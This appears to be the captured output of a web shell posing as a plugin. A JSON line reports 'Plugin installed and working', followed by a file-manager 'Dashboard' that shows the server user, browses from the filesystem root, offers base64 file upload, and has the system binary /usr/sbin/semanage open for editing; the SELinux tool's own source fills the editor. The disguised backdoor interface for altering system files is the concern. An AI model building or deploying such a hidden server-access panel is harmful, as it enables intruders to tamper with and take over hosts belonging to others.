{"ok":true,"status":"active","msg":"Plugin installed and working","php":"8.3.33","server":"Apache","time":"2026-08-22 04:57:26"}
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Dashboard</title>
    <style>
        * { margin:0; padding:0; box-sizing:border-box; font-family:Arial,sans-serif; }
        body { background:#000; color:#ccc; padding:15px; min-height:100vh; }
        .container { background:#111; border:1px solid #ff0000; max-width:1400px; margin:0 auto; border-radius:5px; overflow:hidden; }
        .header { background:#222; padding:15px; border-bottom:2px solid #ff0000; color:#fff; }
        .header h1 { color:#ff0000; font-size:20px; margin-bottom:10px; }
        .system-info { display:flex; gap:15px; font-size:12px; color:#888; flex-wrap:wrap; }
        .path-navigation { background:#1a1a1a; padding:12px 15px; border-bottom:1px solid #333; display:flex; align-items:center; flex-wrap:wrap; gap:5px; }
        .path-navigation a { color:#00ff00; text-decoration:none; padding:5px 10px; background:#222; border-radius:3px; font-size:13px; }
        .path-navigation a:hover { background:#333; color:#fff; }
        .tools { padding:12px 15px; background:#1a1a1a; border-bottom:1px solid #333; display:flex; gap:8px; flex-wrap:wrap; }
        .button { background:#222; color:#ccc; border:1px solid #666; padding:8px 15px; cursor:pointer; border-radius:3px; font-size:13px; text-decoration:none; display:inline-flex; align-items:center; gap:5px; }
        .button:hover { background:#333; border-color:#00ff00; color:#fff; }
        .button-green { border-color:#00ff00; color:#00ff00; }
        .button-red { border-color:#ff0000; color:#ff0000; }
        .message { padding:12px; background:#1a1a1a; border-bottom:1px solid #333; text-align:center; font-weight:bold; }
        .file-table { width:100%; color:#ccc; border-collapse:collapse; }
        .file-table th { background:#222; padding:12px 15px; text-align:left; border-bottom:2px solid #ff0000; color:#fff; font-size:13px; }
        .file-table td { padding:10px 15px; border-bottom:1px solid #333; font-size:14px; }
        .file-table tr:hover { background:#1a1a1a; }
        .folder-link { color:#00ff00; font-weight:bold; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .file-link { color:#ccc; text-decoration:none; display:flex; align-items:center; gap:8px; }
        .folder-link:hover, .file-link:hover { color:#fff; }
        .size { color:#888; }
        .permissions { font-family:'Courier New',monospace; color:#ff9900; background:#222; padding:4px 8px; border-radius:3px; font-size:12px; }
        .actions { display:flex; gap:5px; flex-wrap:wrap; }
        .action-button { padding:5px 10px; background:#222; color:#ccc; border:1px solid #666; font-size:11px; cursor:pointer; text-decoration:none; border-radius:3px; }
        .action-button:hover { background:#333; border-color:#00ff00; }
        .action-button-red { border-color:#ff0000; color:#ff0000; }
        textarea { width:100%; height:400px; background:#000; color:#00ff00; border:1px solid #ff0000; padding:15px; font-family:'Courier New',monospace; font-size:14px; border-radius:3px; }
        .edit-container { padding:20px; background:#000; border-bottom:1px solid #333; }
        .edit-title { color:#00ff00; margin-bottom:15px; font-size:16px; }
        .toast-container { position:fixed; top:20px; right:20px; z-index:10000; display:flex; flex-direction:column; gap:10px; max-width:350px; }
        .toast { padding:12px 20px; border-radius:5px; color:#fff; font-size:14px; display:flex; align-items:center; justify-content:space-between; gap:10px; animation:toastIn 0.3s ease; cursor:pointer; }
        .toast-success { background:#1a472a; border-left:4px solid #00ff00; }
        .toast-error { background:#4a1a1a; border-left:4px solid #ff0000; }
        @keyframes toastIn { from { transform:translateX(100%); opacity:0; } to { transform:translateX(0); opacity:1; } }
        .search-input { background:#000; border:1px solid #444; color:#fff; padding:6px 12px; border-radius:3px; font-size:13px; width:200px; margin-left:auto; }
        .search-input:focus { outline:none; border-color:#00ff00; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <div style="display:flex; justify-content:space-between; align-items:center;">
                <div>
                    <h1>Dashboard</h1>
                    <div class="system-info">
                        <span>PHP: <b style="color:#ff9900">8.3.33</b></span>
                        <span>OS: <b style="color:#ff9900">Linux</b></span>
                        <span>User: <b style="color:#ff9900">pablod78</b></span>
                    </div>
                </div>

            </div>
        </div>
        
                
        <div class="path-navigation">
                                            <a href="?p=%2F">/</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr">usr</a>
                            <span style="color:#666">/</span>                <a href="?p=%2Fusr%2Fsbin">sbin</a>
                    </div>
        
        <div class="tools">
            <button class="button button-green" onclick="document.getElementById('b64upload').click()">📤 Upload</button>
            <input type="file" id="b64upload" style="display:none" onchange="uploadFileB64(this)">
            <button class="button" onclick="showCreateFile()">📝 New File</button>
            <button class="button" onclick="showCreateFolder()">📁 New Folder</button>
            <a href="?p=%2Fusr%2Fsbin" class="button button-red">Close</a>            <input type="text" id="search-input" class="search-input" placeholder="🔍 Search..." onkeyup="searchFiles(this.value)">
        </div>

        
                    <div class="edit-container">
                <div class="edit-title">Editing: semanage</div>
                <form method="post">
                    <input type="hidden" name="edit_path" value="/usr/sbin/semanage">
                    <textarea name="edit_content">#!/usr/bin/python3 -EsI
# Copyright (C) 2012-2013 Red Hat
# AUTHOR: Miroslav Grepl &lt;mgrepl@redhat.com&gt;
# AUTHOR: David Quigley &lt;selinux@davequigley.com&gt;
# see file &#039;COPYING&#039; for use and warranty information
#
# semanage is a tool for managing SELinux configuration files
#
#    This program is free software; you can redistribute it and/or
#    modify it under the terms of the GNU General Public License as
#    published by the Free Software Foundation; either version 2 of
#    the License, or (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program; if not, write to the Free Software
#    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
#                                        02111-1307  USA
#
#

import argparse
import os
import re
import seobject
import sys
import traceback

PROGNAME = &quot;selinux-python&quot;
try:
    import gettext
    kwargs = {}
    if sys.version_info &lt; (3,):
        kwargs[&#039;unicode&#039;] = True
    t = gettext.translation(PROGNAME,
                    localedir=&quot;/usr/share/locale&quot;,
                    **kwargs,
                    fallback=True)
    _ = t.gettext
except:
    try:
        import builtins
        builtins.__dict__[&#039;_&#039;] = str
    except ImportError:
        import __builtin__
        __builtin__.__dict__[&#039;_&#039;] = unicode

# define custom usages for selected main actions
usage_login = &quot;semanage login [-h] [-n] [-N] [-S STORE] [&quot;
usage_login_dict = {&#039; --add&#039;: (&#039;-s SEUSER&#039;, &#039;-r RANGE&#039;, &#039;LOGIN&#039;,), &#039; --modify&#039;: (&#039;-s SEUSER&#039;, &#039;-r RANGE&#039;, &#039;LOGIN&#039;,), &#039; --delete&#039;: (&#039;LOGIN&#039;,), &#039; --list&#039;: (&#039;-C&#039;,), &#039; --extract&#039;: (&#039;&#039;,), &#039; --deleteall&#039;: (&#039;&#039;,)}

usage_fcontext = &quot;semanage fcontext [-h] [-n] [-N] [-S STORE] [&quot;
usage_fcontext_dict = {&#039; --add&#039;: (&#039;(&#039;, &#039;-t TYPE&#039;, &#039;-f FTYPE&#039;, &#039;-r RANGE&#039;, &#039;-s SEUSER&#039;, &#039;|&#039;, &#039;-e EQUAL&#039;, &#039;)&#039;, &#039;FILE_SPEC&#039;,), &#039; --delete&#039;: (&#039;(&#039;, &#039;-t TYPE&#039;, &#039;-f FTYPE&#039;, &#039;|&#039;, &#039;-e EQUAL&#039;, &#039;)&#039;, &#039;FILE_SPEC&#039;,), &#039; --modify&#039;: (&#039;(&#039;, &#039;-t TYPE&#039;, &#039;-f FTYPE&#039;, &#039;-r RANGE&#039;, &#039;-s SEUSER&#039;, &#039;|&#039;, &#039;-e EQUAL&#039;, &#039;)&#039;, &#039;FILE_SPEC&#039;,), &#039; --list&#039;: (&#039;[-C]&#039;,), &#039; --extract&#039;: (&#039;&#039;,), &#039; --deleteall&#039;: (&#039;&#039;,)}

usage_user = &quot;semanage user [-h] [-n] [-N] [-S STORE] [&quot;
usage_user_dict = {&#039; --add&#039;: (&#039;(&#039;, &#039;-L LEVEL&#039;, &#039;-R ROLES&#039;, &#039;-r RANGE&#039;, &#039;SEUSER&#039;, &#039;)&#039;), &#039; --delete&#039;: (&#039;SEUSER&#039;,), &#039; --modify&#039;: (&#039;(&#039;, &#039;-L LEVEL&#039;, &#039;-R ROLES&#039;, &#039;-r RANGE&#039;, &#039;-s SEUSER&#039;, &#039;SEUSER&#039;, &#039;)&#039;), &#039; --list&#039;: (&#039;-C&#039;,), &#039; --extract&#039;: (&#039;&#039;,), &#039; --deleteall&#039;: (&#039;&#039;,)}

usage_port = &quot;semanage port [-h] [-n] [-N] [-S STORE] [&quot;
usage_port_dict = {&#039; --add&#039;: (&#039;-t TYPE&#039;, &#039;-p PROTOCOL&#039;, &#039;-r RANGE&#039;, &#039;(&#039;, &#039;port_name&#039;, &#039;|&#039;, &#039;port_range&#039;, &#039;)&#039;), &#039; --modify&#039;: (&#039;-t TYPE&#039;, &#039;-p PROTOCOL&#039;, &#039;-r RANGE&#039;, &#039;(&#039;, &#039;port_name&#039;, &#039;|&#039;, &#039;port_range&#039;, &#039;)&#039;), &#039; --delete&#039;: (&#039;-p PROTOCOL&#039;, &#039;(&#039;, &#039;port_name&#039;, &#039;|&#039;, &#039;port_range&#039;, &#039;)&#039;), &#039; --list&#039;: (&#039;-C&#039;,), &#039; --extract&#039;: (&#039;&#039;,), &#039; --deleteall&#039;: (&#039;&#039;,)}

usage_ibpkey = &quot;semanage ibpkey [-h] [-n] [-N] [-s STORE] [&quot;
usage_ibpkey_dict = {&#039; --add&#039;: (&#039;-t TYPE&#039;, &#039;-x SUBNET_PREFIX&#039;, &#039;-r RANGE&#039;, &#039;(&#039;, &#039;ibpkey_name&#039;, &#039;|&#039;, &#039;pkey_range&#039;, &#039;)&#039;), &#039; --modify&#039;: (&#039;-t TYPE&#039;, &#039;-x SUBNET_PREFIX&#039;, &#039;-r RANGE&#039;, &#039;(&#039;, &#039;ibpkey_name&#039;, &#039;|&#039;, &#039;pkey_range&#039;, &#039;)&#039;), &#039; --delete&#039;: (&#039;-x SUBNET_PREFIX&#039;, &#039;(&#039;, &#039;ibpkey_name&#039;, &#039;|&#039;, &#039;pkey_range&#039;, &#039;)&#039;), &#039; --list&#039;: (&#039;-C&#039;,), &#039; --extract&#039;: (&#039;&#039;,), &#039; --deleteall&#039;: (&#039;&#039;,)}

usage_ibendport = &quot;semanage ibendport [-h] [-n] [-N] [-s STORE] [&quot;
usage_ibendport_dict = {&#039; --add&#039;: (&#039;-t TYPE&#039;, &#039;-z IBDEV_NAME&#039;, &#039;-r RANGE&#039;, &#039;(&#039;, &#039;port&#039;, &#039;)&#039;), &#039; --modify&#039;: (&#039;-t TYPE&#039;, &#039;-z IBDEV_NAME&#039;, &#039;-r RANGE&#039;, &#039;(&#039;, &#039;port&#039;, &#039;)&#039;), &#039; --delete&#039;: (&#039;-z IBDEV_NAME&#039;, &#039;-r RANGE&#039;, &#039;(&#039;, &#039;port&#039;, &#039;)&#039;), &#039; --list&#039;: (&#039;-C&#039;,), &#039; --extract&#039;: (&#039;&#039;,), &#039; --deleteall&#039;: (&#039;&#039;,)}

usage_node = &quot;semanage node [-h] [-n] [-N] [-S STORE] [&quot;
usage_node_dict = {&#039; --add&#039;: (&#039;-M NETMASK&#039;, &#039;-p PROTOCOL&#039;, &#039;-t TYPE&#039;, &#039;-r RANGE&#039;, &#039;node&#039;), &#039; --modify&#039;: (&#039;-M NETMASK&#039;, &#039;-p PROTOCOL&#039;, &#039;-t TYPE&#039;, &#039;-r RANGE&#039;, &#039;node&#039;), &#039; --delete&#039;: (&#039;-M NETMASK&#039;, &#039;-p PROTOCOL&#039;, &#039;node&#039;), &#039; --list&#039;: (&#039;-C&#039;,), &#039; --extract&#039;: (&#039;&#039;,), &#039; --deleteall&#039;: (&#039;&#039;,)}

usage_interface = &quot;semanage interface [-h] [-n] [-N] [-S STORE] [&quot;
usage_interface_dict = {&#039; --add&#039;: (&#039;-t TYPE&#039;, &#039;-r RANGE&#039;, &#039;interface&#039;), &#039; --modify&#039;: (&#039;-t TYPE&#039;, &#039;-r RANGE&#039;, &#039;interface&#039;), &#039; --delete&#039;: (&#039;interface&#039;,), &#039; --list&#039;: (&#039;-C&#039;,), &#039; --extract&#039;: (&#039;&#039;,), &#039; --deleteall&#039;: (&#039;&#039;,)}

usage_boolean = &quot;semanage boolean [-h] [-n] [-N] [-S STORE] [&quot;
usage_boolean_dict = {&#039; --modify&#039;: (&#039;(&#039;, &#039;--on&#039;, &#039;|&#039;, &#039;--off&#039;, &#039;)&#039;, &#039;boolean&#039;), &#039; --list&#039;: (&#039;-C&#039;,), &#039;  --extract&#039;: (&#039;&#039;,), &#039; --deleteall&#039;: (&#039;&#039;,)}

class CheckRole(argparse.Action):

    def __call__(self, parser, namespace, value, option_string=None):
        newval = getattr(namespace, self.dest)
        if not newval:
            newval = []
        try:
            # sepolicy tries to load the SELinux policy and raises ValueError if it fails.
            import sepolicy
            roles = sepolicy.get_all_roles()
        except ValueError:
            roles = []
        for v in value.split():
            if v not in roles:
                raise ValueError(&quot;%s must be an SELinux role:\nValid roles: %s&quot; % (v, &quot;, &quot;.join(roles)))
            newval.append(v)
        setattr(namespace, self.dest, newval)


class seParser(argparse.ArgumentParser):

    def error(self, message):
        if len(sys.argv) == 2:
            self.print_help()
        else:
            self.print_usage()
        self.exit(2, (&#039;%s: error: %s\n&#039;) % (self.prog, message))


class SetExportFile(argparse.Action):

    def __call__(self, parser, namespace, values, option_string=None):
        if values:
            if values != &quot;-&quot;:
                try:
                    sys.stdout = open(values, &#039;w&#039;)
                except:
                    sys.stderr.write(traceback.format_exc())
                    sys.exit(1)
        setattr(namespace, self.dest, values)


class SetImportFile(argparse.Action):

    def __call__(self, parser, namespace, values, option_string=None):
        if values and values != &quot;-&quot;:
            try:
                sys.stdin = open(values, &#039;r&#039;)
            except IOError as e:
                sys.stderr.write(&quot;%s: %s\n&quot; % (e.__class__.__name__, str(e)))
                sys.exit(1)
        setattr(namespace, self.dest, values)

# define dictionary for seobject OBJECTS
object_dict = {
    &#039;login&#039;: seobject.loginRecords,
    &#039;user&#039;: seobject.seluserRecords,
    &#039;port&#039;: seobject.portRecords,
    &#039;module&#039;: seobject.moduleRecords,
    &#039;interface&#039;: seobject.interfaceRecords,
    &#039;node&#039;: seobject.nodeRecords,
    &#039;fcontext&#039;: seobject.fcontextRecords,
    &#039;boolean&#039;: seobject.booleanRecords,
    &#039;permissive&#039;: seobject.permissiveRecords,
    &#039;dontaudit&#039;: seobject.dontauditClass,
    &#039;ibpkey&#039;: seobject.ibpkeyRecords,
    &#039;ibendport&#039;: seobject.ibendportRecords
}

def generate_custom_usage(usage_text, usage_dict):
    # generate custom usage from given text and dictionary
    sorted_keys = []
    for i in usage_dict.keys():
        sorted_keys.append(i)
    sorted_keys.sort()
    for k in sorted_keys:
        usage_text += &quot;%s %s |&quot; % (k, (&quot; &quot;.join(usage_dict[k])))
    usage_text = usage_text[:-1] + &quot;]&quot;
    usage_text = _(usage_text)

    return usage_text


def handle_opts(args, dict, target_key):
    # handle conflict and required options for given dictionary
    # {action:[conflict_opts,require_opts]}

    # first we need to catch conflicts
    for k in args.__dict__.keys():
        try:
            if k in dict[target_key][0] and args.__dict__[k]:
                print(&quot;%s option can not be used with --%s&quot; % (target_key, k))
                sys.exit(2)
        except KeyError:
            continue

    for k in args.__dict__.keys():
        try:
            if k in dict[target_key][1] and not args.__dict__[k]:
                print(&quot;%s option is needed for %s&quot; % (k, target_key))
                sys.exit(2)
        except KeyError:
            continue


def handleLogin(args):
    # {action:[conflict_opts,require_opts]}
    login_args = {&#039;list&#039;: [(&#039;login&#039;, &#039;seuser&#039;), (&#039;&#039;)], &#039;add&#039;: [(&#039;locallist&#039;), (&#039;seuser&#039;, &#039;login&#039;)], &#039;modify&#039;: [(&#039;locallist&#039;), (&#039;login&#039;)], &#039;delete&#039;: [(&#039;locallist&#039;), (&#039;login&#039;)], &#039;extract&#039;: [(&#039;locallist&#039;, &#039;login&#039;, &#039;seuser&#039;), (&#039;&#039;)], &#039;deleteall&#039;: [(&#039;locallist&#039;), (&#039;&#039;)]}

    handle_opts(args, login_args, args.action)

    OBJECT = object_dict[&#039;login&#039;](args)

    if args.action == &quot;add&quot;:
        OBJECT.add(args.login, args.seuser, args.range)
    if args.action == &quot;modify&quot;:
        OBJECT.modify(args.login, args.seuser, args.range)
    if args.action == &quot;delete&quot;:
        OBJECT.delete(args.login)
    if args.action == &quot;list&quot;:
        OBJECT.list(args.noheading, args.locallist)
    if args.action == &quot;deleteall&quot;:
        OBJECT.deleteall()
    if args.action == &quot;extract&quot;:
        for i in OBJECT.customized():
            print(&quot;login %s&quot; % (str(i)))


def parser_add_store(parser, name):
    parser.add_argument(&#039;-S&#039;, &#039;--store&#039;, default=&#039;&#039;, help=_(&quot;Select an alternate SELinux Policy Store to manage&quot;))


def parser_add_priority(parser, name):
    parser.add_argument(&#039;-P&#039;, &#039;--priority&#039;, type=int, default=400, help=_(&quot;Select a priority for module operations&quot;))


def parser_add_noheading(parser, name):
    parser.add_argument(&#039;-n&#039;, &#039;--noheading&#039;, action=&#039;store_false&#039;, default=True, help=_(&quot;Do not print heading when listing %s object types&quot;) % name)


def parser_add_noreload(parser, name):
    parser.add_argument(&#039;-N&#039;, &#039;--noreload&#039;, action=&#039;store_true&#039;, default=False, help=_(&#039;Do not reload policy after commit&#039;))


def parser_add_locallist(parser, name):
    parser.add_argument(&#039;-C&#039;, &#039;--locallist&#039;, action=&#039;store_true&#039;, default=False, help=_(&quot;List %s local customizations&quot;) % name)


def parser_add_add(parser, name):
    parser.add_argument(&#039;-a&#039;, &#039;--add&#039;, dest=&#039;action&#039;, action=&#039;store_const&#039;, const=&#039;add&#039;, help=_(&quot;Add a record of the %s object type&quot;) % name)


def parser_add_type(parser, name):
    parser.add_argument(&#039;-t&#039;, &#039;--type&#039;, help=_(&#039;SELinux Type for the object&#039;))


def parser_add_level(parser, name):
    parser.add_argument(&#039;-L&#039;, &#039;--level&#039;, default=&#039;s0&#039;, help=_(&#039;Default SELinux Level for SELinux user, s0 Default. (MLS/MCS Systems only)&#039;))


def parser_add_range(parser, name):
    parser.add_argument(&#039;-r&#039;, &#039;--range&#039;, default=&#039;&#039;, help=_(
        &quot;MLS/MCS Security Range (MLS/MCS Systems only) SELinux Range for SELinux login mapping defaults to the SELinux user record range. \
SELinux Range for SELinux user defaults to s0.&quot;
    ))


def parser_add_proto(parser, name):
    parser.add_argument(&#039;-p&#039;, &#039;--proto&#039;, help=_(
        &quot;Protocol for the specified port (tcp|udp|dccp|sctp) or internet protocol version for the specified node (ipv4|ipv6).&quot;
    ))

def parser_add_subnet_prefix(parser, name):
    parser.add_argument(&#039;-x&#039;, &#039;--subnet_prefix&#039;, help=_(&#039;Subnet prefix for  the specified infiniband ibpkey.&#039;))

def parser_add_ibdev_name(parser, name):
    parser.add_argument(&#039;-z&#039;, &#039;--ibdev_name&#039;, help=_(&quot;Name for the specified infiniband end port.&quot;))

def parser_add_modify(parser, name):
    parser.add_argument(&#039;-m&#039;, &#039;--modify&#039;, dest=&#039;action&#039;, action=&#039;store_const&#039;, const=&#039;modify&#039;, help=_(&quot;Modify a record of the %s object type&quot;) % name)


def parser_add_list(parser, name):
    parser.add_argument(&#039;-l&#039;, &#039;--list&#039;, dest=&#039;action&#039;, action=&#039;store_const&#039;, const=&#039;list&#039;, help=_(&quot;List records of the %s object type&quot;) % name)


def parser_add_delete(parser, name):
    parser.add_argument(&#039;-d&#039;, &#039;--delete&#039;, dest=&#039;action&#039;, action=&#039;store_const&#039;, const=&#039;delete&#039;, help=_(&quot;Delete a record of the %s object type&quot;) % name)


def parser_add_extract(parser, name):
    parser.add_argument(&#039;-E&#039;, &#039;--extract&#039;, dest=&#039;action&#039;, action=&#039;store_const&#039;, const=&#039;extract&#039;, help=_(&quot;Extract customizable commands, for use within a transaction&quot;))


def parser_add_deleteall(parser, name):
    parser.add_argument(&#039;-D&#039;, &#039;--deleteall&#039;, dest=&#039;action&#039;, action=&#039;store_const&#039;, const=&#039;deleteall&#039;, help=_(&#039;Remove all %s objects local customizations&#039;) % name)


def parser_add_seuser(parser, name):
    parser.add_argument(&#039;-s&#039;, &#039;--seuser&#039;, default=&quot;&quot;, help=_(&quot;SELinux user name&quot;))


def setupLoginParser(subparsers):
    generated_usage = generate_custom_usage(usage_login, usage_login_dict)
    loginParser = subparsers.add_parser(&#039;login&#039;, usage=generated_usage, help=_(&quot;Manage login mappings between linux users and SELinux confined users&quot;))
    parser_add_locallist(loginParser, &quot;login&quot;)
    parser_add_noheading(loginParser, &quot;login&quot;)
    parser_add_noreload(loginParser, &quot;login&quot;)
    parser_add_store(loginParser, &quot;login&quot;)
    parser_add_range(loginParser, &quot;login&quot;)

    login_action = loginParser.add_mutually_exclusive_group(required=True)

    parser_add_add(login_action, &quot;login&quot;)
    parser_add_delete(login_action, &quot;login&quot;)
    parser_add_modify(login_action, &quot;login&quot;)
    parser_add_list(login_action, &quot;login&quot;)
    parser_add_extract(login_action, &quot;login&quot;)
    parser_add_deleteall(login_action, &quot;login&quot;)
    parser_add_seuser(loginParser, &quot;login&quot;)

    loginParser.add_argument(&#039;login&#039;, nargs=&#039;?&#039;, default=None, help=_(&quot;login_name | %%groupname&quot;))

    loginParser.set_defaults(func=handleLogin)


def handleFcontext(args):
    fcontext_args = {&#039;list&#039;: [(&#039;equal&#039;, &#039;ftype&#039;, &#039;seuser&#039;, &#039;type&#039;), (&#039;&#039;)], &#039;add&#039;: [(&#039;locallist&#039;), (&#039;type&#039;, &#039;file_spec&#039;)], &#039;modify&#039;: [(&#039;locallist&#039;), (&#039;type&#039;, &#039;file_spec&#039;)], &#039;delete&#039;: [(&#039;locallist&#039;), (&#039;file_spec&#039;)], &#039;extract&#039;: [(&#039;locallist&#039;, &#039;equal&#039;, &#039;ftype&#039;, &#039;seuser&#039;, &#039;type&#039;), (&#039;&#039;)], &#039;deleteall&#039;: [(&#039;locallist&#039;), (&#039;&#039;)]}
    # we can not use mutually for equal because we can define some actions together with equal
    fcontext_equal_args = {&#039;equal&#039;: [(&#039;list&#039;, &#039;locallist&#039;, &#039;type&#039;, &#039;ftype&#039;, &#039;seuser&#039;, &#039;deleteall&#039;, &#039;extract&#039;), ()]}

    if args.action and args.equal:
        handle_opts(args, fcontext_equal_args, &quot;equal&quot;)
    else:
        handle_opts(args, fcontext_args, args.action)

    OBJECT = object_dict[&#039;fcontext&#039;](args)

    if args.action == &quot;add&quot;:
        if args.equal:
            OBJECT.add_equal(args.file_spec, args.equal)
        else:
            OBJECT.add(args.file_spec, args.type, args.ftype, args.range, args.seuser)
    if args.action == &quot;modify&quot;:
        if args.equal:
            OBJECT.modify_equal(args.file_spec, args.equal)
        else:
            OBJECT.modify(args.file_spec, args.type, args.ftype, args.range, args.seuser)
    if args.action == &quot;delete&quot;:
        if args.equal:
            OBJECT.delete(args.file_spec, args.equal)
        else:
            OBJECT.delete(args.file_spec, args.ftype)
    if args.action == &quot;list&quot;:
        OBJECT.list(args.noheading, args.locallist)
    if args.action == &quot;deleteall&quot;:
        OBJECT.deleteall()
    if args.action == &quot;extract&quot;:
        for i in OBJECT.customized():
            print(&quot;fcontext %s&quot; % str(i))


def setupFcontextParser(subparsers):
    generate_usage = generate_custom_usage(usage_fcontext, usage_fcontext_dict)
    fcontextParser = subparsers.add_parser(&#039;fcontext&#039;, usage=generate_usage, help=_(&quot;Manage file context mapping definitions&quot;))
    parser_add_locallist(fcontextParser, &quot;fcontext&quot;)
    parser_add_noheading(fcontextParser, &quot;fcontext&quot;)
    parser_add_noreload(fcontextParser, &quot;fcontext&quot;)
    parser_add_store(fcontextParser, &quot;fcontext&quot;)

    fcontext_action = fcontextParser.add_mutually_exclusive_group(required=True)
    parser_add_add(fcontext_action, &quot;fcontext&quot;)
    parser_add_delete(fcontext_action, &quot;fcontext&quot;)
    parser_add_modify(fcontext_action, &quot;fcontext&quot;)
    parser_add_list(fcontext_action, &quot;fcontext&quot;)
    parser_add_extract(fcontext_action, &quot;fcontext&quot;)
    parser_add_deleteall(fcontext_action, &quot;fcontext&quot;)

    fcontextParser.add_argument(&#039;-e&#039;, &#039;--equal&#039;, help=_(
        &#039;Substitute target path with sourcepath when generating default label. This is used with fcontext. Requires source and target \
path arguments. The context labeling for the target subtree is made equivalent to that defined for the source.&#039;
    ))
    fcontextParser.add_argument(&#039;-f&#039;, &#039;--ftype&#039;, default=&quot;&quot;, choices=[&quot;a&quot;, &quot;f&quot;, &quot;d&quot;, &quot;c&quot;, &quot;b&quot;, &quot;s&quot;, &quot;l&quot;, &quot;p&quot;], help=_(
        &#039;File Type. This is used with fcontext. Requires a file type as shown in the mode field by ls, e.g. use d to match only \
directories or f to match only regular files. The following file type options can be passed: f (regular file), d (directory), \
c (character device), b (block device), s (socket), l (symbolic link), p (named pipe). \
If you do not specify a file type, the file type will default to &quot;all files&quot;.&#039;
    ))
    parser_add_seuser(fcontextParser, &quot;fcontext&quot;)
    parser_add_type(fcontextParser, &quot;fcontext&quot;)
    parser_add_range(fcontextParser, &quot;fcontext&quot;)
    fcontextParser.add_argument(&#039;file_spec&#039;, nargs=&#039;?&#039;, default=None, help=_(&#039;Path to be labeled (may be in the form of a Perl compatible regular expression)&#039;))
    fcontextParser.set_defaults(func=handleFcontext)


def handleUser(args):
    user_args = {&#039;list&#039;: [(&#039;selinux_name&#039;, &#039;seuser&#039;, &#039;roles&#039;), (&#039;&#039;)], &#039;add&#039;: [(&#039;locallist&#039;), (&#039;roles&#039;, &#039;selinux_name&#039;)], &#039;modify&#039;: [(&#039;locallist&#039;), (&#039;selinux_name&#039;)], &#039;delete&#039;: [(&#039;locallist&#039;), (&#039;selinux_name&#039;)], &#039;extract&#039;: [(&#039;locallist&#039;, &#039;selinux_name&#039;, &#039;seuser&#039;, &#039;role&#039;), (&#039;&#039;)], &#039;deleteall&#039;: [(&#039;locallist&#039;), (&#039;&#039;)]}

    handle_opts(args, user_args, args.action)

    OBJECT = object_dict[&#039;user&#039;](args)

    if args.action == &quot;add&quot;:
        OBJECT.add(args.selinux_name, args.roles, args.level, args.range, args.prefix)
    if args.action == &quot;modify&quot;:
        OBJECT.modify(args.selinux_name, args.roles, args.level, args.range, args.prefix)
    if args.action == &quot;delete&quot;:
        OBJECT.delete(args.selinux_name)
    if args.action == &quot;list&quot;:
        OBJECT.list(args.noheading, args.locallist)
    if args.action == &quot;deleteall&quot;:
        OBJECT.deleteall()
    if args.action == &quot;extract&quot;:
        for i in OBJECT.customized():
            print(&quot;user %s&quot; % str(i))


def setupUserParser(subparsers):
    generated_usage = generate_custom_usage(usage_user, usage_user_dict)
    userParser = subparsers.add_parser(&#039;user&#039;, usage=generated_usage, help=_(&#039;Manage SELinux confined users (Roles and levels for an SELinux user)&#039;))
    parser_add_locallist(userParser, &quot;user&quot;)
    parser_add_noheading(userParser, &quot;user&quot;)
    parser_add_noreload(userParser, &quot;user&quot;)
    parser_add_store(userParser, &quot;user&quot;)

    user_action = userParser.add_mutually_exclusive_group(required=True)
    parser_add_add(user_action, &quot;user&quot;)
    parser_add_delete(user_action, &quot;user&quot;)
    parser_add_modify(user_action, &quot;user&quot;)
    parser_add_list(user_action, &quot;user&quot;)
    parser_add_extract(user_action, &quot;user&quot;)
    parser_add_deleteall(user_action, &quot;user&quot;)

    parser_add_level(userParser, &quot;user&quot;)
    parser_add_range(userParser, &quot;user&quot;)
    userParser.add_argument(&#039;-R&#039;, &#039;--roles&#039;, default=[],
                            action=CheckRole,
                            help=_(&quot;SELinux Roles. You must enclose multiple roles within quotes, separate by spaces. Or specify -R multiple times.&quot;))
    userParser.add_argument(&#039;-P&#039;, &#039;--prefix&#039;, default=&quot;user&quot;, help=argparse.SUPPRESS)
    userParser.add_argument(&#039;selinux_name&#039;, nargs=&#039;?&#039;, default=None, help=_(&#039;selinux_name&#039;))
    userParser.set_defaults(func=handleUser)


def handlePort(args):
    port_args = {&#039;list&#039;: [(&#039;port&#039;, &#039;type&#039;, &#039;proto&#039;), (&#039;&#039;)], &#039;add&#039;: [(&#039;locallist&#039;), (&#039;type&#039;, &#039;port&#039;, &#039;proto&#039;)], &#039;modify&#039;: [(&#039;localist&#039;), (&#039;port&#039;, &#039;proto&#039;)], &#039;delete&#039;: [(&#039;locallist&#039;), (&#039;port&#039;, &#039;proto&#039;)], &#039;extract&#039;: [(&#039;locallist&#039;, &#039;port&#039;, &#039;type&#039;, &#039;proto&#039;), (&#039;&#039;)], &#039;deleteall&#039;: [(&#039;locallist&#039;), (&#039;&#039;)]}

    handle_opts(args, port_args, args.action)

    OBJECT = object_dict[&#039;port&#039;](args)

    if args.action == &quot;add&quot;:
        OBJECT.add(args.port, args.proto, args.range, args.type)
    if args.action == &quot;modify&quot;:
        OBJECT.modify(args.port, args.proto, args.range, args.type)
    if args.action == &quot;delete&quot;:
        OBJECT.delete(args.port, args.proto)
    if args.action == &quot;list&quot;:
        OBJECT.list(args.noheading, args.locallist)
    if args.action == &quot;deleteall&quot;:
        OBJECT.deleteall()
    if args.action == &quot;extract&quot;:
        for i in OBJECT.customized():
            print(&quot;port %s&quot; % str(i))


def setupPortParser(subparsers):
    generated_usage = generate_custom_usage(usage_port, usage_port_dict)
    portParser = subparsers.add_parser(&#039;port&#039;, usage=generated_usage, help=_(&#039;Manage network port type definitions&#039;))
    parser_add_locallist(portParser, &quot;port&quot;)
    parser_add_noheading(portParser, &quot;port&quot;)
    parser_add_noreload(portParser, &quot;port&quot;)
    parser_add_store(portParser, &quot;port&quot;)

    port_action = portParser.add_mutually_exclusive_group(required=True)
    parser_add_add(port_action, &quot;port&quot;)
    parser_add_delete(port_action, &quot;port&quot;)
    parser_add_modify(port_action, &quot;port&quot;)
    parser_add_list(port_action, &quot;port&quot;)
